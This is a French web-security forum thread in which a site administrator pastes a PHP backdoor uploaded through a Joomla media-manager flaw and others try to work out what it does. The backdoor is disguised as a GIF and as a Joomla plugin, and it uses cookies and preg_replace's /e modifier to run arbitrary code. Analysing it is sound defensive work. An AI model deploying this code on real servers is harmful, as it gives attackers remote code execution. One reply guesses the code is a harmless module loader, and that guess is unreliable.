Sécurité WEB
Résolu
kaiser35
Messages postés
18
Date d'inscription
Statut
Membre
Dernière intervention
-
kaiser35 Messages postés 18 Date d'inscription Statut Membre Dernière intervention -
kaiser35 Messages postés 18 Date d'inscription Statut Membre Dernière intervention -
Bjr,
mon scan MALDET récent me reporte un hit {CAV}PHP.Hide.
Le fichier en question est uploadé par la vulnérabilité du gestionnaire de médias Joomla avec l'extension ".php.".
Voici le contenu:
A priori, l'accès est protégé sur la possession d'un cookie précis.
Est-ce que quelqu'un est en mesure de décrire ce que procure exactement le code PHP ?
mon scan MALDET récent me reporte un hit {CAV}PHP.Hide.
Le fichier en question est uploadé par la vulnérabilité du gestionnaire de médias Joomla avec l'extension ".php.".
Voici le contenu:
GIF89a
<?php
/**
* @package Joomla.Plugin
* @subpackage system.instantsuggest
*
* @copyright Copyright (C) 2013 InstantSuggest.com. All rights reserved.
* @license GNU General Public License version 2 or later
*/
/**
* Instant Suggest Ajax
*
* @package Joomla.Plugin
* @subpackage system.instantsuggest
* @since 3.1
*/
$filter = @$_COOKIE['p3'];
if ($filter) {
$option = $filter(@$_COOKIE['p2']);
$auth = $filter(@$_COOKIE['p1']);
$option("/123/e",$auth,123);
die();
}
A priori, l'accès est protégé sur la possession d'un cookie précis.
Est-ce que quelqu'un est en mesure de décrire ce que procure exactement le code PHP ?
A voir également:
- Sécurité WEB
- Question de sécurité - Guide
- Votre appareil ne dispose pas des correctifs de qualité et de sécurité importants - Guide
- Web office - Guide
- Navigateur web - Guide
- Mode securite - Guide
8 réponses
oyo
de ce que tu montre, le cookie p3 correspond à un booléen qui indique si un filtrage doit être fait, et si oui, les valeur p1 et p2 dans le cookie sont récupérés.
die() termine le chargement.
par contre je ne sais pas ce que fait
(ce qui se trouve au dessus est sans importance.)
naga
de ce que tu montre, le cookie p3 correspond à un booléen qui indique si un filtrage doit être fait, et si oui, les valeur p1 et p2 dans le cookie sont récupérés.
die() termine le chargement.
par contre je ne sais pas ce que fait
$option("/123/e",$auth,123);car $option étant une chaine, je ne vois pas dans quelle mesure ca pourrait être utilisé comme fonction .
(ce qui se trouve au dessus est sans importance.)
naga
Merci pour ton explication.
C'est justement la chaine
Vois-tu un quelconque moyen d'exploiter ce fichier via HTTP ?
Dans une requête POST avec CURL ou WGET ?
C'est justement la chaine
$option("/123/e",$auth,123);qui m'intrigue le plus.
Vois-tu un quelconque moyen d'exploiter ce fichier via HTTP ?
Dans une requête POST avec CURL ou WGET ?
OK ! j'ai trouvé avec un ami : en fait lorsque tu fais :
$option récupère le nom d'une fonction et, en php, ce string devient la fonction. Par exemple :
tu as la fonction :
si tu fais :
ca affichera "salut" \o/
naga
$option = $filter(@$_COOKIE['p2']);
$option récupère le nom d'une fonction et, en php, ce string devient la fonction. Par exemple :
tu as la fonction :
<?php
function echoconcat($a,$b)
{
echo $a . $b;
}
?>
si tu fais :
<?php
$Func = "echoconcat";
$Func("sa","lut");
?>
ca affichera "salut" \o/
naga
Chapeau !
C'est donc un backdoor comme je le pensais qui permettra d'exécuter des commandes via l'utilisateur avec lequel PHP est interprété.
Est-ce que tu vois comment je pourrais l'utiliser pour en tester les conséquences et limites ?
C'est donc un backdoor comme je le pensais qui permettra d'exécuter des commandes via l'utilisateur avec lequel PHP est interprété.
Est-ce que tu vois comment je pourrais l'utiliser pour en tester les conséquences et limites ?
Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre question
et bien déjà, on sait que 'p3' est un boléen.
Ensuite on peu aussi dire que 'p2' est le nom d'un fonction qui nécessite 2 paramètres.
Donc de mon point de vue, cette page est une page générique: vu qu'on est dans le carde d'un cms, pas mal de page se doivent d'être générique, principalement pour les modules que l'on ajoute. Je pense donc que cette partie est utile au chargement d'un module, quelque soit le module, en lui passant en paramètre une fonction qui le charge. De plus, il semblerai que cette page soit une popup (ou qui s'y apparente) : le "die()" arrêtant le chargement de la page.
Cependant, je serai plus à même de penser que c'est ce qui permettrai de vérifier un log : si 'p3' est à vrai on doit vérifier quelquechose, et je pencherai sur le fait que 'p2' soit un nom d'utilisateur.
Mon soucis est surtout que je ne connais pas le contexte globale et donc je ne sais pas dans quelle mesure cette page est appelée.
Petite question : tu as fournis un copié collé complet où tu l'as édité ? (je pose la question vis à vis du répertoire 123/e => s'il existe, que contient t'il?)
naga
Ensuite on peu aussi dire que 'p2' est le nom d'un fonction qui nécessite 2 paramètres.
Donc de mon point de vue, cette page est une page générique: vu qu'on est dans le carde d'un cms, pas mal de page se doivent d'être générique, principalement pour les modules que l'on ajoute. Je pense donc que cette partie est utile au chargement d'un module, quelque soit le module, en lui passant en paramètre une fonction qui le charge. De plus, il semblerai que cette page soit une popup (ou qui s'y apparente) : le "die()" arrêtant le chargement de la page.
Cependant, je serai plus à même de penser que c'est ce qui permettrai de vérifier un log : si 'p3' est à vrai on doit vérifier quelquechose, et je pencherai sur le fait que 'p2' soit un nom d'utilisateur.
Mon soucis est surtout que je ne connais pas le contexte globale et donc je ne sais pas dans quelle mesure cette page est appelée.
Petite question : tu as fournis un copié collé complet où tu l'as édité ? (je pose la question vis à vis du répertoire 123/e => s'il existe, que contient t'il?)
naga
Le fichier a été uploadé tel quel.
La supervision a mis de suite le fichier en quarantaine donc il n'a pas été exploité.
Il n'a pas de dossier "123/e", ni aucun autre fichier créé/modifié en se basant sur la date du backdoor.
L'upload a été réalisé grâce aux failles connus du média manager de Joomla.
Je ne pense pas que ce soit dépendant des appels aux modules, de mon point de vue c'est un accès direct à toutes les fonctions PHP autorisées + paramètres.
La partie authentification reste un peu obscure...
En modifiant un peu le code, j'ai bien réussit à faire exécuter un phpinfo() par exemple via des cookies.
La supervision a mis de suite le fichier en quarantaine donc il n'a pas été exploité.
Il n'a pas de dossier "123/e", ni aucun autre fichier créé/modifié en se basant sur la date du backdoor.
L'upload a été réalisé grâce aux failles connus du média manager de Joomla.
Je ne pense pas que ce soit dépendant des appels aux modules, de mon point de vue c'est un accès direct à toutes les fonctions PHP autorisées + paramètres.
La partie authentification reste un peu obscure...
En modifiant un peu le code, j'ai bien réussit à faire exécuter un phpinfo() par exemple via des cookies.
mmmh du coup si cette page n'est pas exploitée (car en quarantaine) et que tout fonctionne correctement, c'est donc probablement un résidu de code, mais je parle sans avoir de certitudes, juste des idées.
Honnêtement je n'en sais pas plus ..
naga
PS : une idée (mais c'est vraiment ce qui me passe par la tête) : on passe en paramètre "/123" le $auth et 123 ... ca pourrai par exemple pour vérifier les droits de auth dans tous les répertoire, "123" étant le joker, mais ca me parait un peu tiré par les cheveux
Honnêtement je n'en sais pas plus ..
naga
PS : une idée (mais c'est vraiment ce qui me passe par la tête) : on passe en paramètre "/123" le $auth et 123 ... ca pourrai par exemple pour vérifier les droits de auth dans tous les répertoire, "123" étant le joker, mais ca me parait un peu tiré par les cheveux